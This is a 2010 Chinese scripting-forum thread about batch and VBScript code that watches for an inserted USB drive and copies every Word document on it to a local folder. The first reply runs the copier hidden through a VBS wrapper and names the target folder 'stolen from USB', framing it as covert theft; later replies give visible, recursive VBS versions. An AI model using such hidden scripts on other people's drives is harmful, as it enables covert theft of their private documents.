Board logo

标题: [系统相关] 批处理能否自动提取优盘上的word文档? [打印本页]

作者: water0    时间: 2010-12-25 14:19     标题: 批处理能否自动提取优盘上的word文档?

1假设优盘的盘符是G
2优盘一旦插进去自动将里面的所有word文档复制到一个文件夹里面
3没有优盘插进去时什么也不做
作者: water0    时间: 2010-12-25 14:21

这个好难啊。
不过给你弄了两个东东,不知道有么有用。

Set shell = Wscript.createobject("wscript.shell")
a = shell.run ("自动复制u盘东东.bat",0)

上面这个东西用记事本保存为 .vbs 格式的,取个名字叫“隐藏运行.vbs”吧,它可以让下面这个叫“自动复制u盘东东”的批处理文件隐藏运行。

@echo off
setlocal enabledelayedexpansion
for %%a in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
  for /f %%h in ('fsutil fsinfo drivetype %%a:^|findstr "Removable.* 可移动"') do (
    set DriveU=%%h
)
)
echo.!DriveU!
md E:\u盘那偷来的
if exist !DriveU! copy !DriveU!\*.doc E:\u盘那偷来的>nul 2>nul
ping 127.1 -n 20 >nul
start 隐藏运行.vbs
exit

这个东东了就保存为 .bat取个名字叫“自动复制u盘东东.bat” 就可以,它会自动查找u盘并且每20十秒就会搜索一遍u盘,复制以后是存在E盘的u盘那偷来的文件夹里面。


这两个东西结合起来应该可以解决问题。不过有个缺陷,已经复制过的doc文件它还会再复制。如果你能改进一下的话就好了,能的话告诉我一声哈。


这个是高手给的答案,但不能复制子文件夹里word文档,谁能够帮忙改一下
作者: hanyeguxing    时间: 2010-12-25 17:46

  1. @echo off
  2. start "" "隐藏运行.vbs"
  3. set "n=E:\u盘那偷来的"
  4. md "%n%" 2>nul
  5. :a
  6. for /f "skip=1" %%a in ('wmic logicaldisk where DriveType^=2 get DeviceID') do call:b %%a
  7. >nul ping 127.1 -n 20
  8. goto:a
  9. :b
  10. for /r "%1" %%a in (*.doc) do if not exist "%n%\%%~nxa" copy "%%a" "%n%">nul
复制代码

[ 本帖最后由 hanyeguxing 于 2010-12-26 14:42 编辑 ]
作者: water0    时间: 2010-12-26 14:13

运行一下不行啊............
作者: hanyeguxing    时间: 2010-12-26 15:03

cmd中运行一下 wmic logicaldisk where DriveType=2 get DeviceID 看能不能看到u盘盘符,然后再运行一次批处理
作者: water0    时间: 2010-12-27 12:46

你确定上述代码可以吗,我在我电脑上怎么显示应用程序错误,不得不关机
作者: ithinkican    时间: 2010-12-27 14:24     标题: 没必要搞那么复杂,毕竟盘不是频繁的换

建议去掉代码中ping后面的部分
也就是ping……到exit
作者: broly    时间: 2010-12-27 17:06     标题: 回复 1楼 的帖子

LZ要求在一种监控状态,一有U盘插入就有反应?用批处理或者VBS,这样是很耗用CPU的。
作者: broly    时间: 2010-12-27 18:20

下面这个是运行一次的代码
  1. '//VBS复制U盘Doc文件 @CODE BY Broly
  2. '//声明:此VBS由Broly制作,代码仅作学习研究之用。使用前请三思而行,产生不良后果均与本人无关!
  3. Const DocPath="D:\DocPath\" '此处为你放DOC文件的文件夹,运行前请创建好
  4. Dim fso,Disks
  5. Set fso = CreateObject("Scripting.FileSystemObject")
  6. Set Disks = fso.Drives
  7. For Each Disk In Disks
  8.   If Disk.IsReady And Disk.DriveType = 1 Then
  9.     Udisk=Disk.DriveLetter & ":\"
  10.     U=True
  11.   End if
  12. Next
  13. If U=True Then
  14.   CopyDocs(Udisk)
  15. Else
  16.   Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
  17.   WScript.Quit
  18. End If
  19. WScript.Quit
  20. Sub CopyDocs(path)
  21.   Dim folder,subfolders,Files
  22.   Set folder = fso.getfolder(path)
  23.   Set subfolders = folder.subfolders
  24.   Set Files = folder.Files
  25.   For Each File In Files
  26.     If fso.GetExtensionName(File.path)="doc" Then
  27.       fso.CopyFile File.Path,DocPath,True '设置为True,表示如果文件存在则覆盖
  28.     End if
  29.   Next
  30.   For Each subfolder In subfolders
  31.       CopyDocs(subfolder.path) '递归查找子目录
  32.   Next
  33. End Sub
复制代码


下面这个是无限循环的代码(即监控状态)。
  1. '//VBS复制U盘Doc文件 @CODE BY Broly
  2. '//声明:此VBS由Broly制作,代码仅作学习研究之用。使用前请三思而行,产生不良后果均与本人无关!
  3. Const DocPath="D:\DocPath\" '此处为你放DOC文件的文件夹,运行前请创建好
  4. Dim fso,Disks
  5. Set fso = CreateObject("Scripting.FileSystemObject")
  6. Do
  7.   Set Disks = fso.Drives
  8.   For Each Disk In Disks
  9.     If Disk.IsReady And Disk.DriveType = 1 Then
  10.       Udisk=Disk.DriveLetter & ":\"
  11.       U=True
  12.     End if
  13.   Next
  14.   If U=True Then
  15.     CopyDocs(Udisk)
  16.   Else
  17.     Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
  18.   End If
  19.   WScript.Sleep 30000  '每30秒循环一次
  20. Loop
  21. Sub CopyDocs(path)
  22.   Dim folder,subfolders,Files
  23.   Set folder = fso.getfolder(path)
  24.   Set subfolders = folder.subfolders
  25.   Set Files = folder.Files
  26.   For Each File In Files
  27.     If fso.GetExtensionName(File.path)="doc" Then
  28.       fso.CopyFile File.Path,DocPath,True '设置为True,表示如果文件存在则覆盖
  29.     End if
  30.   Next
  31.   For Each subfolder In subfolders
  32.       CopyDocs(subfolder.path) '递归查找子目录
  33.   Next
  34. End Sub
复制代码

作者: water0    时间: 2010-12-28 13:43

你试过吗,怎么在我的电脑上不行啊
作者: broly    时间: 2010-12-28 17:34     标题: 回复 10楼 的帖子

试过,可以。怎么不行了?
你用哪一个代码?
作者: water0    时间: 2010-12-28 18:44

第二个代码后缀名是vbs时[attach]3304[/attach]
后缀名bat时没反应
作者: water0    时间: 2010-12-28 18:51

代码我改成这样
  1. '//VBS复制U盘Doc文件 @CODE BY Broly
  2. '//声明:此VBS由Broly制作,代码仅作学习研究之用。使用前请三思而行,产生不良后果均与本人无关!
  3. Const DocPath="D:\DocPath\"1'此处为你放DOC文件的文件夹,运行前请创建好
  4. Dim fso,Disks
  5. Set fso = CreateObject("Scripting.FileSystemObject")
  6. Do
  7.   Set Disks = fso.Drives
  8.   For Each Disk In Disks
  9.     If Disk.IsReady And Disk.DriveType = 1 Then
  10.       Udisk=Disk.DriveLetter & ":\"
  11.       U=True
  12.     End if
  13.   Next
  14.   If U=True Then
  15.     CopyDocs(Udisk)
  16.   Else
  17.     Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
  18.   End If
  19.   WScript.Sleep 30000  '每30秒循环一次
  20. Loop
  21. Sub CopyDocs(path)
  22.   Dim folder,subfolders,Files
  23.   Set folder = fso.getfolder(path)
  24.   Set subfolders = folder.subfolders
  25.   Set Files = folder.Files
  26.   For Each File In Files
  27.     If fso.GetExtensionName(File.path)="doc" Then
  28.       fso.CopyFile File.Path,DocPath,True '设置为True,表示如果文件存在则覆盖
  29.     End if
  30.   Next
  31.   For Each subfolder In subfolders
  32.       CopyDocs(subfolder.path) '递归查找子目录
  33.   Next
  34. End Sub
复制代码

作者: broly    时间: 2010-12-28 20:08     标题: 回复 13楼 的帖子

怪不得你运行错误
  1. Const DocPath="D:\DocPath\"1'此处为你放DOC文件的文件夹,运行前请创建好
复制代码


“1”是什么来的?
我的意思是把
  1. D:\DocPath\
复制代码
这个改为你要保存的路径
比如你要保存在文件夹 d:\123\ 下面
那么这一句就是
  1. Const DocPath="D:\123\"   '此处为你放DOC文件的文件夹,运行前请创建好
复制代码

作者: wuhengsi    时间: 2010-12-29 00:47

很简单嘛何必这么复杂。。。。
作者: wuhengsi    时间: 2010-12-29 00:50     标题: 可以完全解决你的问题

我改天写帮你写个代码吧
现在因为没有时间。。。。
QQ316891946  请楼主提醒。。。。。
作者: water0    时间: 2010-12-30 20:42

能否在不插优盘时只提醒一次
作者: broly    时间: 2010-12-30 23:15

  1. '//VBS复制U盘Doc文件 @CODE BY Broly
  2. '//声明:此VBS由Broly制作,代码仅作学习研究之用。使用前请三思而行,产生不良后果均与本人无关!
  3. Const DocPath="D:\DocPath\" '此处为你放DOC文件的文件夹,运行前请创建好
  4. Dim fso,Disks
  5. Set fso = CreateObject("Scripting.FileSystemObject")
  6. Do
  7.   n=n+1
  8.   Set Disks = fso.Drives
  9.   For Each Disk In Disks
  10.     If Disk.IsReady And Disk.DriveType = 1 Then
  11.       Udisk=Disk.DriveLetter & ":\"
  12.       U=True
  13.     End if
  14.   Next
  15.   If U=True Then
  16.     CopyDocs(Udisk)
  17.   Else
  18.     If n=1 Then
  19.       Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
  20.     End if
  21.   End If
  22.   WScript.Sleep 30000  '每30秒循环一次
  23. Loop
  24. Sub CopyDocs(path)
  25.   Dim folder,subfolders,Files
  26.   Set folder = fso.getfolder(path)
  27.   Set subfolders = folder.subfolders
  28.   Set Files = folder.Files
  29.   For Each File In Files
  30.     If fso.GetExtensionName(File.path)="doc" Then
  31.       fso.CopyFile File.Path,DocPath,True '设置为True,表示如果文件存在则覆盖
  32.     End if
  33.   Next
  34.   For Each subfolder In subfolders
  35.       CopyDocs(subfolder.path) '递归查找子目录
  36.   Next
  37. End Sub
复制代码

作者: water0    时间: 2010-12-31 13:06

[attach]3318[/attach]有时候会出现这样的情况,程序可以运行
作者: yedu    时间: 2013-5-21 19:02

。。。学习一下
作者: tangqingfu    时间: 2013-5-28 08:05

谢谢分享,收藏!




欢迎光临 批处理之家 (http://bbs.bathome.net/) Powered by Discuz! 7.2